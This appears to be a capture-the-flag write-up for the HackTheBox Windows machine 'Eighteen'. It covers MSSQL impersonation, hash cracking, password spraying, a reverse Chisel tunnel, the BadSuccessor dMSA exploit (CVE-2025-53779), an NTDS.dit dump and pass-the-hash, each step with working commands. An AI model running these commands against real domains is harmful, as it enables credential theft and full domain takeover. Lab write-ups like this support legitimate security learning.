All writeups

Eighteen

Easy HackTheBox Completed
Windows

19 May 2026

HackTheBox — Eighteen (Easy)

Eighteen is a Windows Server 2025 Domain Controller. The chain starts small: HTB-creds for kevin, an MSSQL-impersonate to appdev, a Werkzeug-hash from an internal database that I cracked with rockyou, and then a password-spray that sticks on adam.scott. From there, it's BadSuccessor (CVE-2025-53779), a dMSA with Administrator as precursor, and the DC is mine.

Almost every step is a feature that seems harmless on its own: IMPERSONATE on a SQL-login, a hash in a database field, an ACL on an OU. Chained together, you become Domain Admin on a DC that's "just default configured". That's what AD attacks usually look like: no 0day, but a chain of design choices that each seemed logical on their own.

Recon

sudo nmap -sC -sV -oN eighteen.nmap 10.129.57.245

-sC runs nmap's default script set (banner grabs, version info from protocol headers), -sV attempts to get the version of each service, -oN writes the output to a file so I can review later without rescanning.

Three ports counted:

The banner DC01.eighteen.htb confirms this is a Domain Controller. HTB provides initial credentials for kevin / <KEVIN_PASSWORD>.
echo "10.129.57.245 eighteen.htb dc01.eighteen.htb" | sudo tee -a /etc/hosts

Foothold

With kevin's creds, directly access MSSQL:

impacket-mssqlclient kevin:'<KEVIN_PASSWORD>'@10.129.57.245 -windows-auth

impacket-mssqlclient is a Python client from the Impacket suite that allows you to talk to an SQL Server from Linux, without sqlcmd or a Windows machine. -windows-auth switches to NTLM authentication against MSSQL instead of "basic" SQL auth, which is normal in AD environments because SQL logins are just domain accounts.

kevin is not a DBA, but IMPERSONATE permissions are often missed in audits:

SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
SELECT name FROM sys.server_principals WHERE principal_id = 268;

IMPERSONATE in MSSQL means: this login may temporarily impersonate another login. Intended for legitimate scenarios (an application account performing queries on behalf of a user), but if you have it on a login with more rights than yourself, it's effectively local privilege escalation within the database server. The first query shows which impersonate relationships exist; the second translates a numeric principal_id to the corresponding login name.

kevin may impersonate appdev. Assuming the identity takes one command:

EXECUTE AS LOGIN = 'appdev';
SELECT name FROM sys.databases;
USE financial_planner;
SELECT * FROM users;

EXECUTE AS LOGIN switches the rest of your session to appdev's context. Everything that follows (SELECT, USE, queries on other databases) happens with appdev's rights. That gives me access to financial_planner, a database that kevin himself could not even see.

In users is an admin with a Werkzeug PBKDF2-SHA256 hash. Werkzeug is the password hashing library that Flask uses under the hood, so this points to a Python web app somewhere on the box. The format looks like this: pbkdf2:sha256:600000$<salt>$<hex>. Hashcat has no mode that directly accepts this format, so first convert it to the format that mode 10900 (PBKDF2-HMAC-SHA256) does understand:

import base64, binascii
salt = b"<WERKZEUG_SALT>"
h = binascii.unhexlify("<WERKZEUG_HASH_HEX>")
print(f"sha256:600000:{base64.b64encode(salt).decode()}:{base64.b64encode(h).decode()}")

The trick is in the encoding difference: hashcat 10900 wants the salt and hash in base64, while Werkzeug stores them as plain string and hex. Convert once and hashcat is happy:

hashcat -m 10900 '<HASHCAT_FORMATTED>' /usr/share/wordlists/rockyou.txt

Password from rockyou: <ADMIN_PASSWORD> (see lessons).

The admin from the database is not a WinRM user, so those credentials don't give me a direct shell. However, password reuse in AD is so common that a spray almost always hits somewhere. First, retrieve the domain user list:

netexec mssql 10.129.57.245 -u kevin -p '<KEVIN_PASSWORD>' --local-auth --rid-brute > /tmp/users.txt

netexec (formerly crackmapexec) is the standard tool for AD enumeration and credential spraying. --rid-brute works like this: in a Windows domain, users have a numeric Relative Identifier (RID) under the domain SID. Netexec walks through those numbers and asks MSSQL "which security principal belongs to RID X?". For each valid RID, Windows returns the name, even without LDAP access. Result: a complete user list.

With that list, I do a password spray: trying the same password against each account. The opposite of brute-forcing (many passwords against one account), because that triggers lockouts.

netexec winrm 10.129.57.245 -u /tmp/users.txt -p '<ADMIN_PASSWORD>'

adam.scott reuses it. Pwn3d! is netexec's signal that the creds work and the user can be accessed via WinRM. Shell with that:

evil-winrm -i 10.129.57.245 -u adam.scott -p '<ADMIN_PASSWORD>'

evil-winrm is the standard WinRM client for offensive purposes, with handy extras like upload/download and AMSI bypass helpers. Retrieved user.txt.

Privesc — BadSuccessor (CVE-2025-53779)

whoami /groups as adam.scott shows membership of EIGHTEEN\IT. By itself, this is nothing; it only becomes interesting if that group has unusual rights. Time for BloodHound:

upload /usr/share/sharphound/SharpHound.exe
.\SharpHound.exe -c All

SharpHound is the collector. It runs on the target (hence the upload), talks to the DC via LDAP, and collects every group, user, ACL, and group membership in the domain. -c All says: grab everything. The output is a ZIP with JSON files that you load into the BloodHound GUI; it then visually shows which paths lead to Domain Admin.

In BloodHound, it is noticeable that EIGHTEEN\IT has CreateChild rights on OU=Staff,DC=eighteen,DC=htb, specifically for msDS-DelegatedManagedServiceAccount objects. "May create service accounts in a specific OU" sounds harmless, but in Windows Server 2025, that's exactly the precondition for BadSuccessor. Akamai's detection script confirms:

.\Get-BadSuccessorOUPermissions.ps1

Identity OUs

EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

Why this is a gap: a Delegated Managed Service Account (dMSA) is a new account type in Windows Server 2025, intended to migrate legacy service accounts to managed equivalents without downtime. When creating it, you specify a "predecessor": the old account you are replacing. During authentication, the dMSA inherits the group memberships of that predecessor. Microsoft's own documentation confirms that this is by design, so applications that rely on the old account experience no disruption.

The problem lies in the ACL model: it checks who may create a dMSA, not who may be the predecessor. So if I have dMSA creation rights on an arbitrary OU, I can create a dMSA with Administrator as the predecessor, and that dMSA then gets Domain Admin group membership. No password needed, no missing patch; default config of Windows Server 2025.

For the exploit, I use a NetExec fork with a badsuccessor module. It talks LDAP and SMB to the DC. From adam.scott's WinRM session, I have access to the DC, but my Kali is on the other side of a NAT and can't directly reach dc01.eighteen.htb. Solution: a pivot via Chisel.

# Kali
./chisel server --reverse --port 8888

Target (in evil-winrm)

.\chisel.exe client 10.10.14.127:8888 R:socks

Chisel sets up a TCP tunnel over an HTTP/WebSocket connection. --reverse means the client (inside the internal network) initiates the connection outward because firewalls almost always block incoming connections and almost always allow outgoing ones. R:socks says: open a SOCKS5 proxy on port 1080 on the Kali side and tunnel everything through to the target. From now on, I can reach any internal address that the target sees from Kali.

/etc/proxychains4.conf tells my tools how to use that proxy:

socks5 127.0.0.1 1080

Installing the fork:

git clone https://github.com/azoxlpf/NetExec.git
cd NetExec && git checkout feat/refactor-badsuccessor
uv tool install.

The exploit itself:

proxychains -q nxc ldap dc01.eighteen.htb \
  -u adam.scott -p '<ADMIN_PASSWORD>' \
  -M badsuccessor \
  -o TARGET_OU='OU=Staff,DC=eighteen,DC=htb' DMSA_NAME=pwn TARGET_ACCOUNT=Administrator

proxychains -q sends the entire command through the SOCKS tunnel. The module creates a dMSA pwn$ in the Staff OU with Administrator as the predecessor. During creation, the DC requests a Kerberos ticket for the dMSA, which ends up in pwn$.ccache: a Kerberos credential cache. That ticket is my key to the DC.

KRB5CCNAME=pwn\$.ccache proxychains -q nxc smb dc01.eighteen.htb --use-kcache --ntds

KRB5CCNAME is the environment variable where Linux Kerberos tools look for the ticket. By setting it to pwn$.ccache, every subsequent nxc call uses that identity. --use-kcache --ntds says: authenticate with that ticket and dump the NTDS.dit database. NTDS.dit is the entire Active Directory: all users, hashes, and groups in the domain are in it. The dump yields the NTLM hash of Administrator.

With that hash, I no longer need to crack the password: pass-the-hash works directly.

evil-winrm -i dc01.eighteen.htb -u administrator -H <ADMIN_NTLM_HASH>

Windows authenticates NTLM by comparing the hash itself, not re-hashing the password. If I have the hash, I am the user.

root.txt.

What I took away

Three things that stuck with me:

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →
🚩 New to CTF? TryHackMe is perfect for beginners TryHackMe →